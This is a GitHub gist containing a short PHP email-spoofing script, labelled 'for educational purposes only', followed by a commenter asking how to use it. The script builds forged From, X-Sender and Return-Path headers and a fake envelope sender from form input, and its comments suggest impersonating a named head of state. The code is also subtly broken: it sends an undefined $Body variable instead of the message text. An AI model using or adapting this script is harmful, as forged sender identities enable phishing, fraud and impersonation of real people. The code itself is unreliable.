Skip to content

Instantly share code, notes, and snippets.

@xpressyoo
Created February 19, 2012 01:23
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save xpressyoo/1861532 to your computer and use it in GitHub Desktop.
Save xpressyoo/1861532 to your computer and use it in GitHub Desktop.
Email Spoofing Example (Educational Purposes only)
<?
/*
Email Spoofing script (PHP). For Educational Purposes only.
To note that capabilities of the script have been intentionally limited.
This work is licensed under a MIT License. Copyright 2012 Florian Bersier
*/
// Get posted data into local variables
$EmailFrom = Trim(stripslashes($_POST['EmailFrom'])); // Your email, e.g. me@example.com
$EmailTo = Trim(stripslashes($_POST['EmailTo'])); // Recipient, e.g. email of your friend
$FakeEmail = Trim(stripslashes($_POST['FakeEmail'])); // Fake email, e.g. sarkozy@elysee.fr
$FakeDomain = Trim(stripslashes($_POST['domain'])); // Fake Domain, e.g. elysee.fr
$Name = Trim(stripslashes($_POST['Name'])); // Your name
$FakeName = Trim(stripslashes($_POST['FakeName'])); // Your fake name, e.g. Nicolas Sarkozy
$Subject = Trim(stripslashes($_POST['Subject'])); // Subject of the email
$Message = nl2br(Trim(stripslashes($_POST['Message']))); // Body of the email
// Modify headers of the Email
$FakeSender = "X-Sender: $FakeDomain";
$FakeReturn = "Return-Path: $EmailFrom";
$Fake = "From: $FakeName ";
$Reply = "Reply-To: $EmailFrom";
$BCC = "Bcc: $EmailFrom";
$additional = "-f $FakeEmail"; // Hide the Mailed-by or Via
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= $FakeSender. "\r\n";
$headers .= "X-Priority: 3\r\n"; // Normal priority (3), urgent is often categorized as Spam
$headers .= $Fake . "\r\n";
$headers .= $Reply . "\r\n";
$headers .= $BCC . "\r\n";
$headers .= $FakeReturn . "\r\n";
// Finally, Send Email
mail($EmailTo, $Subject, $Body, $headers, $additional);
?>
@karencho777
Copy link

hello how can i use it?please help

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment